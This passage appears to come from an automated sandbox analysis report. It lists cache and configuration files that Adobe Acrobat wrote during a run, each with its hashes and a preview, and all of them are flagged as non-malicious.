DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3564738258106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJM3g98kUwPeUkwRe9:YvXKXKpC1T5LjIPOGMbLUkee9
MD5:	AB0A4448809D6BBE6D85EC6CA5BAB573
SHA1:	EA1FA65060E7012AB73C5BB1543C5F04456329D3
SHA-256:	5DD4A766063A15E41235B3A45675649A862ED70B70509C24DC1495C7DDB196F7
SHA-512:	DCF970300DDD863193AEFB88932E1B231DC25AF4A5823034E53805373777BDCD00EE01CE63DFE1368CDA4E4D5C95823B9B6F50F3845CFD97142A9A0524D1BBB9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.308037211659882
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfBoTfXpnrPeUkwRe9:YvXKXKpC1T5LjIPOGWTfXcUkee9
MD5:	D2C0B3F914F8A0709AA30ED30F26B3B6
SHA1:	E6D5885E30F0E14D44EBE9221DF848A26BA1BB30
SHA-256:	E1AB2B107CD0487C367B4D3AC8159D89D16C84A2A55526FAB1D5EF8A4B8E799A
SHA-512:	697FD114079530AAC1728FAF4748BB63D287B6108FBBA1276BD108882335E6B6612268D0DF9361429CCFBAE3F041BEDE617DB93CAA2373F68CBE475243445321
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286585528185888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfBD2G6UpnrPeUkwRe9:YvXKXKpC1T5LjIPOGR22cUkee9
MD5:	8215D9A57740B3EE35713CBF274F9313
SHA1:	C3D282E54DBEE432D30A79B22EDD31F1C02894A6
SHA-256:	BCBC44C776B50CAA5E18DC52E269EA34555C2249B6D79BD0B75EE10045A785DB
SHA-512:	71C7616D27F3B3C1C89A7FA43ECE4C199371220C7D81B928FD094D4542BA8733473D2BE34A3002BA3C4D6A7A1137F6FE0D3C90AF770886EF97C1796EB1CF95EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.337234119404198
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfPmwrPeUkwRe9:YvXKXKpC1T5LjIPOGH56Ukee9
MD5:	EC6FBAE20A5AC7AD21366594D0443A6F
SHA1:	E3EA6F3D4C5F8F48B4F1B6977A484A60A35A97D9
SHA-256:	A9EF87DA01F7CC8ABCF3196626048088FBF4B3FF9F21D53D4A46DD93EE72056B
SHA-512:	827FA33FE9BC2DF6EA44D03FED9DEB9E34359675C7D029FBF289ADC8E5DE001A482DEAF5E9CBA7D6AFE3F0E076A0BE82213A293009831C01A59A96542C330E80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689585213857748
Encrypted:	false
SSDEEP:	24:Yv6X6oT5XIDpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:Yv3cXahgy6SAFv5Ah8cv/4
MD5:	2F082E42690693A644523D734146C8F3
SHA1:	3170F9F29458E371A5F05B3E8A5AB16796DCDA2C
SHA-256:	E703FCA7F03F8C85F321BFE9D466E3E544F04BB1238F4EA32A8242F60E912B28
SHA-512:	31768DF2056C9ED1C114A10BC2BB21D6447105295A99B5F967EC72EE3DD6A7594A55A30A1C2FB066454B4513E4802A93B826D0B8239B29F1A584C82AF7ACE461
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306377467369815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJf8dPeUkwRe9:YvXKXKpC1T5LjIPOGU8Ukee9
MD5:	5C0B891D1F93CB63FFBDA69BA620E573
SHA1:	734E968D081DE200DEC962E1950B59F14F65D3EB
SHA-256:	D8882307E76914610823171DAF723BB7BB3A6CB2811B9D313E6454EE4D62F805
SHA-512:	783132F0FF1BF3FD41CA17BA785AEBD46FDDB5C957B40CB57BBB53DEF494DAD0E5BBE225C9FADDADB9ED2AA1C419896682144994ACB7DA634FC96794CF03E46C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.297850798622417
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfQ1rPeUkwRe9:YvXKXKpC1T5LjIPOGY16Ukee9
MD5:	F3257CB43ABD2CE57614693ED73F4B52
SHA1:	332401093609FBD029D4ED9C65B23E8A55B17CB5
SHA-256:	A8263C8E22F0803359E2D7A25261FAA593A7B4CB97C3ADB77720634F917D0E17
SHA-512:	7690EFC16B1B02AE864350AE15D9E711E4D4D6349EBE6B2004A0AD38A41ED3154B6B91F9E2038FCFF91A92D9B680823A46A303F0E5050E8AC17D31A8A1D52B4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313058418056999
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfFldPeUkwRe9:YvXKXKpC1T5LjIPOGz8Ukee9
MD5:	B31BF23FF7C609A827E41B7F22F91146
SHA1:	60E1E94F257FFC7A5097715839851CB622973760
SHA-256:	B76BCF5060B8F193F280B6CAD119EA29743D71982AF14C983ED03E717B86E61D
SHA-512:	81B4C96C2D0F30DA989E89EA4C34976E6C1C90A82011894264F46FF8850C4A2B6557B3B09CBE63AD722B8220C2AFC62106B28F16586D1DE22A3E0699A157AFE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332379811436354
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfzdPeUkwRe9:YvXKXKpC1T5LjIPOGb8Ukee9
MD5:	DBAA03E7533B6AAA627F9342078DE07B
SHA1:	757EF5F35388C6459209EB2821C5420E9E13B260
SHA-256:	61B47EBA5D9734E4D7F3912BEF9513C3627C9E63552B817891370054CF4CD03E
SHA-512:	357468C32BA72D60E1A2C7BB55E497958B3D9ADAC80AC135FC5DF38C9BED05B5EBA5D7CA707559627B476BB44FC367F34BA7325CFE83C6516249914CA9CA9843
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313293786539131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfYdPeUkwRe9:YvXKXKpC1T5LjIPOGg8Ukee9
MD5:	9AC5A691047213B6BD520B994F62FC97
SHA1:	47A0263B467CFBF8D628A9CCAE6EDA4F1EA3AD1D
SHA-256:	48DB9374B000A9D40AD63ED01CC813B8B8038B03A468E7A64D7DEA7C28C30A21
SHA-512:	88A86D8A4E8F0DEEB9A20150587E928B0E08195EAE60D8E7F18B10D0703D4019F888B3701135F877F00E67CB40220224E8C37171826ABBD2DFB865D2E31D26FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299877195827306
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJf+dPeUkwRe9:YvXKXKpC1T5LjIPOG28Ukee9
MD5:	3252B5639350C800114E35354EE95C55
SHA1:	773E105721627FFCA092F8ADEA6C5A051E214DDF
SHA-256:	D83C1782A55F65A45D8F21ABC6C05648F0F06705706C66EC5E2909F03E2ED38F
SHA-512:	1267F2B7A9911F9FEA9D1490D22819951FD103DB070C6F006E696DB9D31D6102C263A906B9A9D62EC28157A7E055641FE3AA07761D2D85AF17357FA8922DA1C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.296749517982485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfbPtdPeUkwRe9:YvXKXKpC1T5LjIPOGDV8Ukee9
MD5:	D42067D3DC0AB1E764077807FA5DE00E
SHA1:	BC685FDE6791B80B4A0EEE0F8CF6312C59044420
SHA-256:	31A3E4E3084127246662436763FD0743A205BED0FA6F84A3D998EC8EE27FC023
SHA-512:	1203DA2F0FC8B4791E4D1548063684340CF9F2E658516E127B68B2B1AB960029E7FF51B07417A6A7CA44C9F67087071F918FDB5F73769AFEAC750DAF43C68122
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289007831966437
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJf21rPeUkwRe9:YvXKXKpC1T5LjIPOG+16Ukee9
MD5:	2E764A7AB188D68298F6D3F072EE9ED0
SHA1:	FA11A2294A0B21DDDAF217FA7C2AC784107657CA
SHA-256:	07D1DE8922A163B1951E7BA0A0D0A69BA83299D57AE63FDB6730033C55D458E2
SHA-512:	0E09C15C4D7FAFC1D7E684BEEA27CD9DB3516BA004B7B62F6B9800BF874C7D11A985EB98715F0A496C17C51A51E7DE8FDA9338C3201CF1AE241193EC80E65B79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666377814666635
Encrypted:	false
SSDEEP:	24:Yv6X6oT5XIzamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:Yv3cXIBgkDMUJUAh8cvM4
MD5:	23C45D6463251BA46B907C5D64C94888
SHA1:	35F6D3ED52EB53ABFF2CA942E5CCEC614496CBF3
SHA-256:	8338856E1955D4E7933FD054D5382E5107D63D0DA97A5CC5DD14E64AEFCD0F45
SHA-512:	910A7569D0FEAC8A84B27E13EB10370C346914F0333EA5CF1CAB0A6C7519393A29320D68CFEB9E0A0B79D58D4F5B3E2F1DA5B8A5A1ECB9F616C76CF31149AA1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261223860780216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJfshHHrPeUkwRe9:YvXKXKpC1T5LjIPOGUUUkee9
MD5:	FA57CA49E3A422AAF67189903AD098E7
SHA1:	BEBA3729578F6680F8D249A860C900324C1A68D8
SHA-256:	65B3109FF352DCD41461118F17E6072D933A83A1C4C6361C2C993562C9632691
SHA-512:	A821ACDF10D080F2CEB12CCAC593A284FAC3BD7A83797A572FF361B8567F6C2B52E4E204DE07B1F4643624030DE4800FD2BD49F1C0052074CCF0F9CF053E3F4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272373570267195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKpaBDymSg1c2LjcWkHvR0Y93oAvJTqgFCrPeUkwRe9:YvXKXKpC1T5LjIPOGTq16Ukee9
MD5:	E69FD2015AAD3734058C8F5A2277AA39
SHA1:	0CDE517364B1AF33C1FA9A53E8EB6328A40C2439
SHA-256:	48B435971A3443875F5A6C36515121652D58CFE2781C40031C828E88B620C8F1
SHA-512:	6E0CC463A501A3CDA34474D546753BD960A45A77C8414C5880F9AAFF92499C0AF5B4ABA5A734B9FF6811FF074BAD6D3484438D84F96A14A04505A4171F0E4BDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a3a88330-d5cd-44fe-93f1-5d796d6ce453","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736739972529,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138480335633551
Encrypted:	false
SSDEEP:	48:Y4n1YiaZiV9zwGrrHj1SNfphcqcJ148n7E89/KEX:9nHaZiVBwGrrHj1IRYJ9n7V/KEX
MD5:	220407DB845F2BC426E1F4BD71CF4D1F
SHA1:	25585ACE7D02AB7738B37AE7490057932556718F
SHA-256:	681C05C63FFCFB433F4F7DCCBB804F988783031BB475FB945845854BA10E8953
SHA-512:	0E7A7146BAB141BCBD6C42ACB86B306FF8021CADA01DADF184321F1A22D9B5385221E6D389ACCC403F977EE4253D4EC705F306F80A33F550108B3F1BBF7A97B8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"538675ce0854953bf1ed45e1890b4c65","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736560737000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8b119923a8dec241bf6017614f5c4979","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736560737000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8f151b3caae1dc78cc8a4b27ab675102","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736560736000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"368c2ceec0a3d8ef3b772ca8097d9022","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736560736000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"79acf27d0ebc5be4fe5b9d3b5d848f19","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736560736000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"30ad3c1d0df271fa1990b3a16cc51c4b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

